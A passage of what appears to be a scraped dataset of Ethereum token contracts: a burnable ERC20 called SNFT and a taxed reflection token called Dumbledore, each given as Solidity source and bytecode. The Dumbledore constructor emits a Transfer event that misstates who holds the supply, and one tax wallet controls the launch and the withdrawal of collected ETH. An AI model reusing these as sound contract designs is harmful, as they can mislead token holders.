function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract SNFT is BurnableToken {
string public constant name = "Stephino-NFT";
string public constant symbol = "SNFT";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 10000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a11565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e68565b6040518082815260200191505060405180910390f35b6103b1610eb1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0e565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e2565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112de565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611365565b005b6040518060400160405280600c81526020017f5374657068696e6f2d4e4654000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a629896800281565b60008111610a1e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6a57600080fd5b6000339050610ac182600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b19826001546114b490919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce8576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7c565b610cfb83826114b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f534e46540000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4957600080fd5b610f9b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117382600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c057fe5b818303905092915050565b6000808284019050838110156114dd57fe5b809150509291505056fea2646970667358221220b74d5bc11a7831b144549c0542ce18a68a1f99766eaa7d59e8a6dd82bd4c3d0364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,786 |
0xb76658988fBd52942Ae9e60Ab4967449a0c420d7
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/Dumbledore
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="DUMBLEDORE";
string constant TOKEN_NAME="Dumbledore";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Dumbledore is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600a81526020017f44756d626c65646f726500000000000000000000000000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f44554d424c45444f524500000000000000000000000000000000